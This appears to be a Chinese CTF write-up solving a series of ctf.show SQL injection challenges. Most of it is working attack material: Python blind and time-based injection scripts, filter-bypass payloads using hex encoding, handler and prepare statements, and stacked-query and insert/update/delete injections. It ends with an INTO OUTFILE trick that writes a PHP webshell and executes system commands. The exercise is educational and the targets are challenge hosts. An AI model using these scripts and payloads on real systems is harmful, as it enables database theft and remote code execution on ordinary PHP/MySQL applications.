`
开始下半部分
做之前,可以先看一下p神的博客,有讲关于limit注入的,版本限制(5.0.0-5.6.6)
https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
补充以下:
这里分两种情况,limit前面有无order by,有order by可以用union联合查询的
SELECT * from user LIMIT 1,1 union select * from user
直接用p神的payload,数据库名就是flag
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
因为版本问题,select用不了,所以也不能查到更多信息
看到有个去重,点击抓包
初步判断一下,可以用concat(if(1=1,"username",cot(0)))
,根据回显直接用盲注
# @Author:Kradress
import requests
import string
url = "http://12ee4415-b331-421c-b9d4-a077a8e155fd.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
payload = "select flagaabc from ctfshow_flaga"
for i in range(1,46):
print(i)
for j in dict:
s = f"?u=concat(if(substr(({payload}),{i},1)='{j}',username,cot(0)))#"
r = requests.get(url+s)
if("ctfshow" in r.text):
result +=j
print(result)
break
对数字进行了过滤
# @Author:Kradress
import requests
import string
url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(1,46):
print(i)
for j in dict:
params={
'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"
}
r = requests.get(url, params=params)
# print(r.url)
if("ctfshow" in r.text):
result +=j
print(result)
break
登陆页面试了半天进不去,后面发现有个robot.txt,里面有个重置密码页面
成功进了后台,发现是一个文件上传点,但经过测试,只能上传zip
没什么思路,群里有个payload.bin可以上传,访问1.php可以getshell
(y1ng师傅也有详细讲解)
https://blog.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
看上去过滤挺多的,不过可以用handlie
?username=';show tables;%23
?username=';handler `ctfshow_flagasa` open as hd;handler hd read first;%23
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;#
拆分开来如下:
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');
EXECUTE stmt;
#deallocate prepare stmt; #可以不加
#
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
对比上题,show不能用了意味着不能通过show tables
来获取表名
采用预编译的话因为(
,不能用,concat用不了了,不过可以使用16进制代替,如果只是过滤引号的话可以用unhex()和hex()组合绕过,这里分享一下
'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
1. abc转成16进制是616263
2. 616263转十进制是6382179
3. 用科学计数法表示6e6+382179
4. 套上unhex(hex()),就是unhex(hex(6e6+382179));
回到正题
查表名(也不用加注释;
就相当于结束了sql语句了)
?username=';Prepare stmt from 0x73686F77207461626C6573;EXECUTE stmt;
?username=';Prepare stmt from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE stmt;
和上题差不多思路,但是找不到flag
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}
参考博客MySQL——查看存储过程和函数
在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息,其基本的语法形式如下:
SELECT * FROM information_schema.Routines
WHERE ROUTINE_NAME = ' sp_name ' ;
其中,ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称。
直接拿到flag
?username=';Prepare stmt from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;EXECUTE stmt;%
先来看看sql语句
//分页查询
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
题目本身是没有什么过滤的,有两个可以注入的地方
把在pass
处把密码闭合,把username
值改为datebase()
,然后注释掉后面
password=123',username=database()#&username=
把所有用户名密码改成了数据库名
// banlist,ctfshow_user,flaga
password=123',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=
查字段名
//id,flagas,info
password=123',username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga')#&username=
拿flag
password=123',username=(select group_concat(flagas) from flaga)#&username=
延时3s,直接上时间盲注脚本
password=123&username=ctfshow' and sleep(3)#
# @Author:Kradress
import requests
url = "http://f50fecf3-250b-45f2-9c10-ada03b956fff.challenge.ctf.show/api/"
table_name = 'flaga'
flag = 'flagas'
result = ''
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):
head = 32
tail = 127
while head < tail:
#sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
print(mid)
data = {
'username' : f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=2.5)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
//分页查询
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
密码用md5加密了了,可以通过拼接')
来闭合,其他和上题一样
这题直接用盲注
# @Author:Kradress
import requests
url = "http://0dafac0b-7752-47bd-83fe-b65c972164e9.challenge.ctf.show/api/"
table_name = 'flag233333'
flag = 'flagass233'
result = ''
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):
head = 32
tail = 127
while head < tail:
#sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
print(mid)
data = {
'username' : f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=2.5)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
尝试下了,执行失败,猜测可能单引号被过滤了
password=1234&username=ctfshow'#
可以在pass
处用\
转义单引号,username
用十六进制绕过
//0x63746673686f77 => ctfshow
password=\&username= where username = 0x63746673686f77 and sleep(3)#
最后直接上盲注脚本
# @Author:Kradress
import requests
url = "http://9298293f-de8c-414f-beaf-5ef7041922f2.challenge.ctf.show/api/"
table_name = 'flag23a'
flag = 'flagass23s3'
result = ''
def strToHex(S : str):
parts = []
for s in S:
parts.append(str(hex(ord(s)))[2:])
return '0x' + ''.join(parts)
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={strToHex(table_name)}"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):
head = 32
tail = 127
while head < tail:
#sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
print(mid)
data = {
'username' : f" where username = 0x63746673686f77 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : "\\"
}
try:
r = requests.post(url, data, timeout=2.5)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
发现or被过滤了,infomation不能用了,可以用sys或者mysql库替代
查表名
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
select group_concat(table_name)from mysql.innodb_index_stats where database_name=database();
这里要用到无列名盲注,可以看我的博客
无列名盲注
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
password=\&username=,username=(select a.2 from (select 1,2,3 union select * from flag23a1 limit 1,1)a)#
password=\&username=,username=(select `2` from (select 1,2,3 union select * from flag23a1 limit 1,1)a)#
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#
# @Author:Kradress
import requests
import string
url = "http://99c6146f-7390-4303-9c69-8bad06dfd783.challenge.ctf.show/api/"
table_name = 'flag23a1'
result = ''
def strToHex(S : str):
parts = []
for s in S:
parts.append(str(hex(ord(s)))[2:])
return '0x' + ''.join(parts)
uuid = string.ascii_lowercase+string.digits+"{-,_}"
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()"
for i in range(1,50):
for j in range(32,128):
data = {
# 爆表名
# 'username' : f" where username = 0x63746673686f77 and if(ascii(substr(({payload}),{i},1))={j},sleep(3),1)#",
# 比较法盲注
'username' : f" where username = 0x63746673686f77 and if(((select 0x31,{strToHex(result+chr(j))},{strToHex('!')})<(select * from {table_name} limit 0,1)),1,sleep(3))#",
'password' : "\\"
}
print(i,data.get('username'))
try:
r = requests.post(url, data=data, timeout=2.5)
except:
result += chr(j-1) #sleep导致超时
print(result)
break
if(j==127):
break
多过滤了一个flag,不过在用比较法盲注解的时候,发现并不影响.说明这里应该是过滤flag的回显
同上
拿到表名flaga
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
这里对flag的回显做编码处理
过滤回显内容
password=\&username=,username=(select to_base64(a.2) from (select 1,2 ,3 union select * from flaga limit 1,1)a)#
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
可以用再{username}
处用\
对'
进行转义
username=as\&password=,database());#
#查表名
username=as\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
#查字段
username=as\&password=,(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
# 查flag
username=as\&password=,(select group_concat(flagass23s3) from flag));#
过滤了个空格,不影响
除了()
其他貌似都用不了
#查表名
username=as\&password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
#查字段
username=as\&password=,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')));#
# 查flag
username=as\&password=,(select group_concat(flagass23s3) from flag));#
过滤空格或or,information不能用了
可以用其它数据库代替,但是只能查表名
查表名
username=as\&password=,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())));#
这里查字段可以用union重命名法,因为过滤了空格,在limit 1,1这里想不到怎么去绕过空格的过滤
好在字段名还是flag
username=as\&password=,(select(flag)from`flagbb`));#
//过滤空格 or sys mysql
把查表名的方法都堵死了,看hint,大概就是写个脚本把所有可能都枚举一遍就好啦
Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
懒得写脚本,可以看看其他师傅wp,我这里直接用burp
写脚本的话可以跑完再查询数据,也可以每发一个包然后再发一个包看数据里面是否包含ctfshow{
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
这里用二分法时间盲注
# @Author:Kradress
import requests
url = "http://a5227021-9f03-4528-8827-243db8331e31.challenge.ctf.show/api/delete.php"
table_name = 'flag'
flag = 'flag'
result = ''
def strToHex(S : str):
parts = []
for s in S:
parts.append(str(hex(ord(s)))[2:])
return '0x' + ''.join(parts)
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
#爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1,50):
head = 32
tail = 127
while head < tail:
#sleep(1)
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
print(mid)
data = {
'id' : f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#",
}
try:
r = requests.post(url, data, timeout=0.2)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
刚开始是sleep(3),timeout=2.5,没跑出来,看页面发现响应时间有点长,把sleep时间调小点就好了
if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
不会做,直接看其他师傅的wp
这里是利用info outfile的扩展参数
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
可以写马的参数有:
FIELDS TERMINATED BY、 LINES STARTING BY、 LINES TERMINATED BY
点击导出
抓包
filename=1.php' LINES STARTING BY "";#
POST
1=system("tac /flag*");
################################
…